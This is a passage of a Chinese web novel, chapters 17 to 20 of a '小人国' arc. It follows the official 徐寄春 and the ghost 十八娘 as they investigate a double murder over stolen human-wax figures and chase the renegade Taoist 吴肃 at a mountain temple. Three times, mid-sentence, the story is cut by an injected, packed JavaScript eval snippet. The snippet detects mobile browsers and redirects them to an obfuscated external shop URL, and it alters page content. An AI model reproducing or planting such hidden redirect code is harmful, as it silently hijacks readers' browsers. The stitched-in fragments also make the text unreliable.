摊主得意一笑,与一旁的妻子各自抱起一具人腊,立在地上。 等人腊挺起身躯稳稳立住,人群中先是死寂,紧接着是一阵阵欢呼声。 十八娘紧紧捂住双眼,偏又捺不住好奇,便将食指与中指悄悄错开一道窄缝,目光从缝隙间溜了过去。 确实奇怪。 那对人腊身量如同四岁的幼童,可满口恒齿,却分明是十二三岁之人方有的齿象。还有臂骨腿骨,绝非四岁幼童之胫骨肱骨所能及。 摊主夫妇:“只要两文,便能摸小人国的小人!” 围观百姓一拥而上,十八娘跃跃欲试:“好像真是小人国的小人。” 徐寄春嗤笑一声,催她出去:“世上哪有小人国?大概是矮奴做的。” 一人一鬼挤出去,才发现周围的摊前空无一人。 摊主们的眼中,或艳羡或忌妒,齐齐盯着人满为患的小人国摊。 “武大人催得紧,我明日一早就得到刑部上任。你入城后,在家等我回来便是。”送十八娘出城的路上,徐寄春说起自己明日的安排。 十八娘点头应好,转念担忧起他的宅子:“子安,若你日后娶妻,那宅子可就小了。” 徐寄春:“届时再换。十八娘,你喜欢小宅子还是大宅子?” “小宅子。” “我也喜欢小宅子。” “呀,我们母子真是心有灵犀一点通!” 17.小人国(三) 徐寄春一朝青云直上,自新晋探花郎超擢刑部侍郎。 此等连晋数级的破格拔擢,一半仰仗武飞玦,一半归功于顺王。 甚至,全赖顺王。 秦融死后,司农寺卿一时位缺。 右相杜仿之奏请迁刑部侍郎蔡适正领司农卿事。 一来一去,刑部侍郎之位空悬。 武飞玦原想举荐刑部都官司一位郎中擢刑部侍郎,再保举徐寄春擢刑部主事,如此既合制又服众。结果顺王不知从何处听说:勘破京城连环挖心案者,实非刑部,而是一个名不见经传的书生。 顺王自认为抓到武飞玦的疏漏,立马上疏要求彻查原委,再行论功封赏。 燕平帝一听来了兴趣,细问才知不光挖心案,连秦氏一案的部分谳状 ,亦有徐寄春手笔。 顺王一听,更是得意洋洋。 当即奏称刑部与大理寺明知故纵,徐寄春越司侵职。 言语间,又一次提到龙舟赛。 燕平帝一怒之下,特旨超拜徐寄春为刑部侍郎。 虽然廷议哗然,群臣反对,但是圣旨既下,君无戏言。 于是,徐寄春成了大周立朝以来,第一个自探花郎之位,直擢刑部侍郎之人。 上任第一日,徐寄春睡至丑时中便披衣起身。 比他更早醒来的人与鬼,是陆修晏与十八娘。 一个昨夜宿在他家;一个早在丑时初便立在廊下。 他醒来时,正巧听见一人一鬼断断续续的说话声。 十八娘:“你没地方去吗?” 陆修晏可怜兮兮:“我想自食其力,只有子安愿意收留我。” 听到他不要脸的说辞,徐寄春默默翻了一个白眼。 十八娘:“可子安快搬走了。” 陆修晏语气嘚瑟:“子安昨夜与我说,愿意继续收留我。” “明也,子安的新宅子就两间厢房,他对你真好。” 七月榴花照眼胜春红,在浮山楼住了十八年,十八娘也想换个新宅子住两日。 可徐寄春买的是小宅子,统共就两间厢房。 东厢房,他已买好书案与床榻,显然是要自己住。西厢房,明摆着是留给他的姨母。 十八娘左思右想,只好将借住几日的话压在心底。 陆修晏:“子安随我,仗义!” 徐寄春无语地瞪着地上那床歪歪扭扭的被褥,气得猛咳一声。不曾想一口唾沫卡在喉咙口,引得他越咳越急,咳声接连不断。 十八娘听见咳嗽声,慌忙穿墙而过。 一抬头见他衣衫不整,脸上浮起一层薄红,又捂着眼穿墙出去。 陆修晏大大咧咧推门而入,大声催促道:“子安,你该去上朝了。” 徐寄春深吸一口气,抱着朝服走去屏风后洗漱换衣。 早膳吃的是胡麻粥配面油饼,由徐寄春出钱。 十八娘有些不满:“明也,你一个国公府的公子,难道打算让子安养你?” “我本欲自己做,子安不让。”陆修晏喝着粥咬着饼,说话含糊不清。 十八娘叉腰大怒:“他不让,你便不做不买吗?你懒死了!” 见她生气,陆修晏老实放下碗,一再承诺道:“今日的晚膳,我来做!” 一人一鬼,吵闹不休。 徐寄春一言不发,只在最后放下碗时提醒道:“今日我特意请师父与师兄入府用膳,昨日已向酒楼订了席面,他们自会按点送菜过来,你别瞎忙活。” 十八娘:“你师父不是在横渠镇吗?” 徐寄春:“前几日新拜的师父。” “谁啊?” “清虚道长。” 一听是清虚道长,陆修晏撇了撇嘴角,劝道:“清虚道长名声不显,远不及守一道长。子安,你可是寻不着门路,才退而求其次找清虚道长拜师?我幼时常随祖父去邙山天师观走动,与守一道长相熟,可为你引荐。” 徐寄春摆摆手,微微一笑:“清虚道长乃守一道长的师叔。若论辈分,我如今可是守一道长的师弟。” 他打听过了,那个温洵在师门里排行老四。 往后温洵见了他,得恭敬地喊他一声师叔。 十八娘满腹疑惑:“你为何突然拜师?” 徐寄春施施然起身:“技多不压身。” 外间天色昏蒙,一人一鬼将徐寄春送至白马桥。 过桥时,徐寄春遇见武飞玦,两人正好结伴入宫。 十八娘站在桥边,一直等到徐寄春的身影消失在宫门处,才招呼陆修晏回家:“子安真辛苦,每日起早贪黑,一个月才得三十两。” 上任第一日的差事格外繁冗,陆修晏估计徐寄春约莫要待到酉时,才能出宫回家。 如此一来,他和十八娘,得相处一整日。 陆修晏十五岁离家,随叔父们在各处军营摸爬滚打。 长到二十二岁,除了亲娘与堂妹,他今日算是头一回与女子独处。 一旁的十八娘左顾右盼,他涨红了脸磨蹭半晌,一句完整话才磕磕绊绊漏出来:“十八娘,你今日想去何处玩?” 闻言,十八娘阴恻恻地转过脸:“还玩?!我家子安每日辛苦赚钱,你住他的宅子花他的钱,却不知帮他分忧!他快搬家了,你回家帮他收拾。” 陆修晏结结巴巴:“他有洁疾,不准我动他的东西。” 十八娘:“我盯着你,他肯定放心。” “行!” 一人一鬼回到宜人坊,十八娘走来走去指点。 陆修晏被她支使得团团转,搬挪器物、拂尘除蛛,最终赶在清虚道长师徒入门前,让整座宅院焕然一新。 酉时初,徐寄春精疲力竭回家,一进门看见窗明几净,更觉心力交瘁。 偏生陆修晏还觍着个笑脸上前邀功:“子安,我帮你把宅子收拾干净了。” 徐寄春抬头望了一眼天色,半是喟叹半是无力:“我赁宅时,已与牙人谈好,等我搬走,由他收拾宅子。” 手中的扫帚落地,陆修晏总算得空抹了一把脸上的汗水。 徐寄春跨过他,进门向清虚道长与钟离观拱手行礼:“拜见师父,见过师兄。” 钟离观随清虚道长修行多年,万万没想到自己还能平白捡来一个师弟。 听见徐寄春唤他“师兄”,他先是一愣,随即朗声笑道:“哎呀,师弟,不必多礼。” 清虚道长一拂尘甩到钟离观的脸上:“滚去后面帮忙,仔细那女鬼骂你。” 徐寄春侧身,见十八娘独自守在桌前,扶着清虚道长走过去落座。 一张八仙桌,清虚道长端坐上首,独据一方。 钟离观居其左,陆修晏居其右。待徐寄春匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538814|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆换好襕衫出来时,桌边已只剩一个位置。 十八娘站在空位置旁边,朝他招手:“子安,快来。” 长凳能容下两人,徐寄春坐下后,不着痕迹地向陆修晏的方向挪了挪,空出半条凳面给十八娘。 对面的清虚道长眯着眼,将新弟子那点心思尽收眼底。 眼见十八娘不解其意,还痴痴傻傻地站在后面,他抚须一笑:“那女鬼,你坐下一起吃。” “我不是那女鬼,我叫十八娘。” 放眼整张桌子,唯徐寄春身边尚空,十八娘顺势坐下。 十八娘甫一落座,桌边四人再顾不上言语,一个个埋首案前,大快朵颐起来。 顷刻间,只闻杯箸轻碰、咀嚼声声。 不到一刻钟,碗盘皆空、满桌狼藉。 饭毕茶温,清虚道长敛起惯常的和煦笑意,眉宇间凝起一抹罕见的沉肃:“上回,你们上山找贫道认符纸,我便知我那贪财好色的师弟吴肃回来了。” 陆修晏认识吴肃,道号凌霄,从前邙山天师观的道士,已消失多年。 徐寄春:“他与秦氏一案有关?” 清虚道长颔首:“他贪恋富贵,邪念丛生。七年前被师尊发现行邪术后,竟打伤师尊逃之夭夭。师尊弥留之际,严命我清理门户。他躲藏多年,贫道追索多年,至昨日终于锁定他的踪迹。” 十八娘:“他便是囚禁秦娘子的坏道士吗?” 清虚道长目光一沉,缓缓点头:“是他。秦娘子离京前,贫道曾潜入大狱,当面向她印证此事。得知吴肃未死,她又惊又怕,恳求贫道救不知情的张夫人一命。” 十八娘:“他还敢杀张夫人?” 清虚道长:“他利用邪术敛财多年,那些不义之财尽数藏于深山。秦娘子与他相伴日久,自然深谙其秘。他这回冒险入京,便是来灭口的。” 另外三人倒吸一口凉气,陆修晏拍桌而起:“道长,此等卑鄙小人,何必留他到明日!我今日便随你去捉了他。” 对于几人的反应,清虚道长满意极了:“他受伤了,藏在邙山天师观。你们若有心,明日随贫道入观,如何?” 陆修晏第一个答应:“道长,我愿意随你前往。” 十八娘高举右手:“我也愿意去。” 剩下的两个人,钟离观自不必说。 唯独徐寄春面上犯难:“我明日要查案。” 十八娘热心提议:“子安的仕途要紧。不如等他查完案,我们再上邙山?” 清虚道长心花怒放,笑得一脸谄媚:“就依十八娘。” 忙了一日,徐寄春哈欠连天,敷衍附和:“行……” 送走清虚道长与钟离观后,陆修晏在院中洗碗,徐寄春在房中沐浴。 十八娘因要等苏映棠,只好留下。 起初,她在院中指挥陆修晏洗碗。 后来,徐寄春按着眉心走过,脚步发飘,一直说头晕,她便进房陪他说话。 隔着一道屏风,十八娘听见水声,絮絮叨叨开始讲话:“子安,你明日要查什么案子?” “小人国摊子的那对夫妇被人杀了,两具人腊不翼而飞。” “子安,你明日查案能带上我吗?”十八娘眼放精光,摩拳擦掌。 “可以。明日巳时中,你在仁和坊等我。” “子安,你人真好!” 18.小人国(四) 溽暑渐生,闷雷隐隐。 十八娘怕他晕倒,一直没话找话地絮叨:“蛮奴与摸鱼儿闹着要成亲,阿箬昨日把他们叫进房中骂了一顿。” “鬼还能成亲吗?”徐寄春拧帕的手一滞,片刻好奇道,“你呢,你想成亲吗?” “我是鬼,如何成亲?蛮奴与摸鱼儿不想投胎才闹着成亲,可我想投胎……”十八娘低头看地上的水迹,语气又平静又哀伤。 她记不得生前的事,连姓名都忘了个干净。 只记得一睁眼,她茫然地站在浮山楼外,孟盈丘从她身边经过,拉她上了三楼。 孟盈丘唤她十八娘,说她功德未满,无法投胎:“你若想投胎,便得努力攒功德。等功德够了,黑白无常自会现身送你去地府。” 她听话照做,每日在城中闲逛攒功德。 有时夜里睡不着,她猜自己生前应是个恶人,做过伤天害理的事。不然,她怎会做了十八年的鬼逛了十八年的城,依然没攒够功德? 生前作恶,死后遭罪,她或许无法投胎。 徐寄春辨出她话音中的涩意,干脆裹着一身未散的水汽,湿漉漉地步出屏风。 果不其然,她在哭。 他端着盆走到她身边,身形一矮,俯身凑近,整张脸几乎逼到她眼前:“我才与你相认,你便不要我了吗?” 鼻间相抵,十八娘泪眼摩挲:“我没有不要你。” 徐寄春话至唇边,眼角余光映出凭空出现在房中的一男一女。 “十八娘走了。” 十八娘挥手与徐寄春道别,转身挽上苏映棠的胳膊,朝摸鱼儿抱怨:“你们就不能早点来接我吗?我快饿死了。” 穿墙出门前,苏映棠回头朝徐寄春挑衅似地笑了笑:“放心,我们日后定早早来接你。” 三鬼有说有笑出城。 上山路上,十八娘大步走在前面,不时叮嘱左右二鬼:“我明日有很多事做,你们不必来接我。” 苏映棠眼珠子一转,示意摸鱼儿说话,后者立马语重心长道:“十八娘,你难道没发觉你那假儿子,对你存着些不该有的心思?” 十八娘:“你什么意思?” 摸鱼儿:“他幼失怙恃,如今每日与你形影不离,没准真把你当他亲娘了,我看你还是离他远点。” 苏映棠深表赞同:“他那对眼珠子,恨不得将你压在身下生吞活剥。” 十八娘左看右看,见这对狗男女一脸意味深长。事出反常必有妖,这两个讨厌鬼前几日无缘无故提出接送她,果然没安好心。 “子安是正人君子!哪像你们,整日勾肩搭背做坏事。”十八娘猛推了摸鱼儿一把,“哼,日后我自个回家,你们别来接我。我与你们,不熟!” 她说完便跑,摸鱼儿原想追上去解释,被苏映棠拽住:“别去,那凡人给她灌了迷魂汤。她如今被迷得晕头转向,哪里听得进去我们的话?” 摸鱼儿担忧地看着远走的十八娘:“阿箬不说,也不准我们说。万一……十八娘出事,怎么办?” 苏映棠迎风破口大骂:“该死的贺兰妄,需要他时,他偏偏不在。” 三日前,贺兰妄离京去了外地,归期不定。 苏映棠被迫接过“看管”十八娘的任务,每日早出晚归接送她回家。 堪堪接送三日,竟让她看出一丝端倪。 徐寄春看向十八娘的眼神中,似乎藏着别样的情愫。 她辨不清这究竟是寻常的男女之情,还是悖逆人伦的孺慕。 她只知,徐寄春身份不明,她得护着十八娘。 “你去把贺兰妄叫回来。” “我不知道慎之的去处。” “没用的男人,滚。” 夜里下了场大雨,一早蝉鸣聒噪盈耳。 十八娘一觉睡到辰时中,翻窗寻了条小路下山,头也不回地跑去仁和坊。 巳时中,一身官服的徐寄春独自现身。 十八娘从房顶跃下:“子安,你还要亲自办案吗?刑部难道没给你派一两个手下?” “顺王府又丢了一颗夜明珠,同僚们查贼去了。” “没事子安,我陪着你。” “嗯,走吧。” 前夜死在仁和坊的两人,是一对常年拖着个木箱,在各州瓦舍间辗转摆摊的夫妇。 男子叫马四喜,三十岁。女子叫陶庆娘,二十九岁。 两人半月前入京,后经同乡牵线搭桥,赁下仁和坊的这座小宅子。 昨日辰时初,马四喜的同乡钱茂才入宅,邀约夫妇俩去南市摆摊。 谁知,他拍了许久的门,却不见两人应话或开门。 他绕到后门,闻到一股浓烈的血腥气。他心下一惊,大喊大叫引来不少过路人,几人合力破门而入。 死在后门的死者是陶庆娘,一柄利刃精准地割开她的咽喉。而马四喜身中数刀倒在床上,尸身上弥漫着浓烈的酒气。 原本这桩小案子,一般是京兆府司法参军的差事,不会由刑部侍郎亲自过问。 问题出在两个丢失的人腊身上。 报官的钱茂才言之凿凿称:人腊并非矮奴所制,而是货真价实的东海小人国之小人。 东海小人国,闻所未闻。 武飞玦疑心涉及大案,便派徐寄春亲自跑一趟。 自然,武飞玦曾特遣两位主事随行,未料竟遭徐寄春婉拒。 理由是:他独来独往惯了。 他一再推拒,武飞玦只好任他自己去查案。 宅子四周,站满了京兆府的官差。 司法参军等在门口,远远望见一位身着绯色官服的俊秀后生朝此处走来。 早就听闻刑部侍郎玉树临风,他忙不迭跑过去行礼:“下官参见侍郎大人!区区小案,何劳大人亲至。” 徐寄春面无表情:“参军免礼,此案涉及人腊,非同寻常。参军,引路吧,本官先进去瞧瞧。” 参军侧身请他进门,边走边说:“仵作已剖尸查验:两人死在亥时初,马四喜死前曾喝了两壶烈酒,醉倒在床上。凶手从后门进宅,先杀开门的陶庆娘,再杀醉酒的马四喜,最后抱走人腊,翻墙离开。” “你去我左侧说。” “哦……好。” 参军走到他的左侧,却见他对着空无一人的右侧招手。 “案发至今已两日,参军可曾寻得些许端倪?”徐寄春见右侧的十八娘跟上,才扭头看向左侧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545454|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参军,“凶手犯案在亥时,此人抱着两具人腊出坊,难道坊正或更夫不曾看见?” 他语气凌厉,参军从疑惑中回神:“回禀大人,下官昨日于坊中一处废宅中,勘得数行足迹。下官据此推断,凶手行凶后,为避更夫夜巡与坊正日查,携人腊匿于其间。等至坊门打开,他便趁乱离开。” 对于疑犯的线索,参军躬身禀道:“回大人,邻宅的孙大郎曾在马氏夫妇死前,听到鸟叫声。” “鸟叫声?” “对,几声悦耳的黄莺叫声。” 十八娘:“黄莺白日叫,夜里不叫。” 徐寄春:“黄莺夜里不会鸣叫,孙大郎是否听错了?” 参军:“回大人,此乃口技之术。” 十八娘懂了:“前日我们去瓦舍,曾遇见一个老翁在摊前学女子娇滴滴念诗。” 徐寄春:“原来这便是口技。” 参军满头雾水,疑心他在回自己,又怀疑他回的不是自己。 权衡再三,他继续说道:“经下官查访,马氏夫妇相识者中,擅口技者有二。其一是报官的钱茂才,其肩上的鹦鹉最是爱效黄莺鸣声;其二乃南市瓦舍口技艺人何根生。下官已查证,此二人对马氏夫妇的人腊觊觎已久。” 徐寄春转进厢房,血腥味混着酒气扑面而来。 他忍着恶心,在房中转了一圈。 十八娘跟在他身后转悠:“银子还在,他是冲着人腊来的。” 徐寄春顺着她的目光,看向地上的木箱。 箱中整齐放着十块银锭,约莫有一百两。 若凶手是图财之徒,大可顺手揣走银锭。 顺手之事却不做,看来这个凶手图的不是财,而是人腊。 甚至,只是人腊。 除此之外,参军言查了两日,一无所获:“凶手做事很小心。莫说地上,连墙上都找不到半点血迹,应是有意擦洗过。” 徐寄春转去后门,参军紧随其后:“马四喜有一酒友,常来找他喝酒。结合口技之能,下官推断当夜凶手或许是诈称酒友,仿其声诱骗陶庆娘开门。” 因是耳熟的声音,陶庆娘没有防备,未提灯笼便去开门。 凶手等她转身的空当,只一刀,便利落地将其杀死。 两人尚在京兆府受审,徐寄春理不出半点头绪,干脆直接走了。 毕竟他今日去刑部,只为递上一纸告归文书。 赶去邙山之前,徐寄春回了一趟宜人坊,特意换了身道袍才出门。 午时三刻,四人一鬼齐聚邙山天师观。 清虚道长见人到齐,拂尘一甩,便站到天师观的漆红匾额下,叉腰扯着嗓子大喊:“文抱朴,你给老子滚出来!” 他动作粗鲁,毫无礼节可言。 陆修晏与徐寄春面面相觑,双双躲到柱子后。 围观的百姓越多,清虚道长喊得越起劲。 。 半炷香后,观中终于走出五个道士打扮的男子。 为首的男子寒潭星眸,清冷入骨。 身旁的十八娘眼波流转,含羞带笑。 徐寄春迈步上前,挡在清虚道长身前:“原是温师侄,我是你的师叔徐寄春,字子安。” 19.小人国(五) 邙山天师观门前,有一棵虬枝盘曲的古松。 日头已过中天,日光自叶隙间漏下,照在温洵毫无波澜的脸上。 对于徐寄春那句莫名其妙的话,他置若罔闻,只对着清虚道长拱手行礼:“师叔祖,师父不在观中,请您改日再来。” “放屁!今日观中满是他的铜臭气。”清虚道长唾沫星子乱飞。一口气骂完,他又放缓语气,温声道,“小道友,你把他叫出来,就说我来清理门户,不找他的麻烦。” “师叔祖,天师观为皇家禁地。您若率众擅闯,便是犯上不敬。”温洵照旧是那副半死不活的冷淡样,声调平得像一潭死水。 “犯上不敬”四字一出,清虚道长失了底气,支支吾吾看向徐寄春。 徐寄春适时站出来:“大周律中,虽言‘皇家禁地,不得擅闯’。然玄门自有清规,恩师掌教,奉师祖亲书法牒,入观整肃门庭、涤荡污秽,此乃道门家法。温师侄,请问我们入观有何不妥?” 昨日他已细细问过,邙山天师观虽宏阔,但不距山天师观才是正一道支派天师派祖庭所在。 而清虚道长,是名副其实的掌教,手握整肃门庭之权。 温洵眉峰微蹙,缓缓侧身,恰好让出一条能容两人并行的通路。 进观前,清虚道长整肃衣冠,在观门前拜了又拜:“诸位,且随贫道入内,捉拿欺师灭祖,作恶多端的叛徒吴肃!” 徐寄春故意落后,等十八娘与他并肩进观。 一人一鬼行过温洵面前。 十八娘低着头,与温洵擦肩而过。 温洵看似目不转睛盯着四处乱跑的清虚道长,可眼角余光却一直黏在十八娘身上,握剑的手一再收紧,青筋寸寸凸起。 有趣,看见了装没看见。 徐寄春笑了,笑着凑到温洵身边:“温师侄,我真是你师叔。” “……” 温洵冷若冰霜:“师叔。” “温师侄不必多礼。” 清虚道长在观中大喊大叫,惊得观中所有人纷纷推门张望。 温洵提剑追过去,路过等在一旁的十八娘身边时,他脚步微顿,假意回头催促身后的师弟,眼风却频频扫过她。 十八娘以为他看不到自己,悄悄抬眼望去。 结果徐寄春的脸,突然出现在她的眼中:“你在看谁?” “哈哈哈,你啊。” 如温洵所言,守一道长今日确实不在观中。 至于吴肃,更是踪迹难寻。 清虚道长跑上跑下,累得气喘吁吁。 温洵耐心站在他身边,不时递上一杯温茶。 整个天师观,全找了个遍。 清虚道长不服输,指着观中最高处:“天师阁还没找。” 温洵躬身急拦,指向紧闭的阁门:“师叔祖,天师阁乃安敕赐宝诰之法坛重地,戒律森严,任何人不得入。” 清虚道长振臂高呼:“吴肃藏在天师阁!” 闻言,陆修晏与钟离观齐齐冲向天师阁。 几个道士提剑追上钟离观,温洵则与陆修晏缠斗在一起。 “小观,他们都是小辈,你用桃木剑足矣。”清虚道长翘着二郎腿坐在石阶上观战,一边叮嘱钟离观,一边吩咐十八娘:“那女鬼,你进去瞧瞧。” 徐寄春面露担心:“她是个鬼,阁中或有符纸,别伤到她。” 清虚道长:“没事,她不是普通鬼。” 十八娘得意道:“我进去过很多次!” 话音未落,她身形一闪,径直飘向天师阁。 经过在外打斗的陆修晏与温洵身边,她还不忘提醒一句:“明也,他的腿去年受过伤,你扫他的腿。” 虽说她有些喜欢温洵,但是她昨日答应过帮清虚道长捉坏人。 是非好坏,轻重缓急,她分得清。 陆修晏听话照做,果然稳占上风。 瞅准时机,他一脚横扫过去,温洵避之不及,应声倒地。 十八娘飘进天师阁,幽暗的石像深处,一个道士正狼狈地躺在地上。 他面色苍白,气息微弱,显然是受了伤。 她忙冲出去大喊:“吴肃在里面!” 陆修晏一脚踹开天师阁的门。里间的吴肃听见声响,脸色骤变,未及细想便捂住胸口,纵身跃出窗外,寻了条隐秘小路下山。 等十八娘带着陆修晏追至崖边,向下望去,蜿蜒的山道上,只剩一个夺路狂奔的仓皇背影。 十八娘:“可惜,让他跑了!” 陆修晏:“我来之前曾告知舅父。刑部、大理寺已在山下设伏,他跑不了。” “明也,你真聪明!” 温洵一瘸一拐赶去崖边,徐寄春则扶着清虚道长慢悠悠跟着他身后,时不时关切几句:“温师侄,师叔右手尚空,可扶你一把。” “不用。” “温师侄文武双全,较之明也,亦仅逊一筹罢了。” “……” 不远不近的路程,徐寄春端着师叔的架子,一路对温洵“嘘寒问暖”。 温洵起初还顾着礼节,偶尔应几句,到后来索性不理不睬。 三人行至崖边,十八娘回头瞥见温洵脚步虚浮,面容紧绷,牙关紧咬。心头浮起歉意,她有意路过他身边,认真道歉:“对不起。” 她从未期待得到回复,却偏偏听到他温柔的回答:“没事。” 十八娘疑心自己白日做梦听岔,惊愕抬头,却直直撞上他的目光。 他的眼中清清楚楚映着,一个惊慌失措的她。 目光错开后,他走向崖边,她一步三回头奔向徐寄春:“子安,他也能看见我了。” 自徐寄春开始供奉她,曾经那些看不见她的人,如今竟都能看见了。 十八娘喋喋不休,徐寄春一言不发。 清虚道长站在一人一鬼中间,垂目扫过抽痛的手臂,苦笑着摇头:“那女鬼,贫道看你也是个好鬼。邙山天师观遍布法阵符纸,你日后最好少来。” “第一,我叫十八娘;第二,我从前常来观里。” “从前那群道士看不到你,你自可逍遥自在。如今嘛……” 十八娘后知后觉也有些后怕,忙询问对策:“我今日在观中跑来跑去……不会被抓走吧?” 清虚道长反手一推,徐寄春踉跄跌出:“好徒儿,送那女鬼下山。” “道长,我叫十八娘!” “行,那女鬼。” 十八娘走到山下,犹自攥紧双拳,愤愤不平:“道长是好道长,就是记性差没礼貌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551649|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子安,你千万别学他。” 耳边的骂声渐渐停歇,徐寄春犹豫问出口:“十八娘,你是不是喜欢温师侄?” 十八娘沉默了。 因为她辨不清心底那点说不清道不明的微澜,到底是身为女子的真切欢喜?还是做鬼太久的虚妄念头? 她委婉地问过苏映棠,只得到一句模棱两可的回答:“当你时时想见一个人,巴不得与他一辈子在一起,那才叫喜欢。” “没与你相认前,我没地方去,只能到处乱飘。”十八娘的头越来越低,说话的声音亦越来越小,“有一日,我飘到观里遇到他。看到他时,我很开心,特别开心。子安,我……我大约是喜欢他的……” 徐寄春耐心听完她的话,唇边笑意徐徐漾开:“身为儿子,我从未想过拘束你。找不找继爹,全凭你心意,我绝无二话。” “好儿子,我没看错你!” 一人一鬼入城后,经过一家棺材铺。 门口摆着一对金红翠绿、眉开眼笑的纸扎人,满身都是暖融融的喜气。 十八娘心思一转,追上今日走得格外快的徐寄春:“儿子,我怕黑,你烧几个俊美纸人陪我过夜。” 自然,若是再俊一些,像温洵一些,更是再好不过。 徐寄春眉眼犯愁:“若让我爹知晓,岂非不孝?” “你爹生前最是大度,时常劝我多找!” “我这就去买。” 徐寄春爽快答应,扭头便踏进棺材铺。 不过片刻,他蹙着眉头走出来:“唉,这家的纸人画得太差了。我会做纸人,明日便做一个俊美纸人烧给你,如何?” 十八娘:“谢谢你,子安!” “第一个纸人,我画温师侄吧。” “子安,你太好了!” 一人一鬼在城门处分开,十八娘走了几步,又回头寻徐寄春的身影。 见他已没入人群,她惆怅道:“我还有话没说呢……” 她想告诉他。 每回看到他时,她也极为开心。 有时候,这阵开心,甚至胜过见到温洵。 金乌敛尽最后一缕辉光,十八娘雀跃地回到浮山楼,却在入楼前,忽然想起一件事:“我们方才下山,好像忘了叫明也?” 被她与徐寄春遗忘在崖边的陆修晏,今日穿了身飘逸的月白锦袍。 风一吹,猎猎山风卷着衣袂翻飞,更显洒脱不羁。 他墨发高束,身姿挺拔。 英气如松柏经霜,俊秀似明月入怀。 抱剑站立已久,始终未闻十八娘的声息。 陆修晏回头四顾,身后却只有清虚道长与钟离观这对师徒:“诶?十八娘与子安呢?” 清虚道长:“下山了。” “他们怎么不叫上我?” “叫了,你没听见。” 陆修晏低头看了一眼身上的白袍,郁闷下山。 出观时遇见温洵,他抱拳一礼:“温道长,今日多有得罪。” 临近日暮,山风渐烈,松针簌簌扑落。 温洵负手立于松影之下,失神地望着高处,几不可闻的喃喃自语混着风声,从唇齿间漫出来:“簌簌……” “温道长,你说什么?” “没什么。” 20.小人国(六) 长夜将尽,天边已露微明。 市声渐沸,紧闭一夜的坊门打开。 十八娘一早偷摸下山,被孟盈丘堵在山道。 她们俩,一个是拘魂使一个是鬼。 十八娘未作任何挣扎,便随孟盈丘返回浮山楼。 在楼中住了十八年,十八娘实则很少进孟盈丘的房间。 一来,孟盈丘很严厉。 十八娘每回面对她,总是心生畏惧。 二来,她深觉自己无用。 她常年无人供奉,每日提心吊胆怕被赶出浮山楼,连功德都无处积攒,最后真成了孤魂野鬼。 一来二去,她开始逃避上三楼,每日最多在二楼游荡。 “吃吧。”等十八娘坐下,孟盈丘递上一盘梨膏糖,“我听说,你近来日日下山找徐寄春,整日与他形影不离。” 心里堵着团火,眼底蓄着滴泪。 十八娘没接那盘最爱吃的梨膏糖,咬唇仰起脸:“他们也整日下山找供奉人,为何我不可以?” 她讨厌每月找贺兰妄借冥财。 贺兰妄千好万好,可伸手讨钱的滋味,让她难堪难受,甚至厌恶。 明明她也很努力,偏偏只有她没有供奉人。 她一次次安慰自己,许是她生前作孽太多,以致于死后无人供奉,才过得这般凄凉。 徐寄春是第一个愿意供奉她的人。 他会变着花样为她上供,他会耐心听她说话,带她查案。 每日回房看到桌上的供品,她暗暗地想:“原来有人念着我,原来我生前不是恶人。” “阿箬,我只是很想很想收到供品……” 她泪如雨下,哭得比秋瑟瑟还大声。 孟盈丘语调放缓:“我没有责怪你。但你是鬼,他是人。人鬼殊途,若你爱上他,抑或他爱上你,都是不行的。” “蛮奴乱说,子安没有爱上我。”十八娘哭红了眼。 “他昨夜又烧了一箱金元宝给你。十八娘,他对你太好了。”目光扫过手边堆积如山的供品册,孟盈丘扯了扯嘴角,无奈地笑了笑。 十八娘极力辩解:“金元宝是他从前答应给我的。再者,我冒充他亲娘,他是个大孝子,自然对我好。” 目光从供品册移到十八娘身上。 孟盈丘盯着她腰间的香囊,最终挥手让她离开:“你走吧。” “我还能去找他吗?” “可以。” 十八娘推门下楼,苏映棠从屏风后走出,语气急促:“你们再不说,我便自个去找相里闻。” “蛮奴,有时我在想,我们把她拘在浮山楼,到底是对是错?” “我不管,我只知徐寄春会害死十八娘。” “他的事,我会说。” “好,我且等你们一个月。” 苏映棠摔门而去,孟盈丘心力交瘁。 巨响过后,一句问话在楼中回荡:“今日谁去盯着她?” “秋瑟瑟!” “知道了。” 秋瑟瑟不过十岁,一双小短腿却倒腾得飞快,转眼便追上下山的十八娘。 一路入城去仁和坊,秋瑟瑟始终不离十八娘半步。 十八娘没好气道:“你跟着我作甚?” 秋瑟瑟眉眼弯弯如两钩新月:“他们说你的供奉人长得特别俊,我想瞧瞧。” 面对可爱小鬼,十八娘失了所有火气:“只准瞧一眼。” “你放心,我绝不多瞧!” 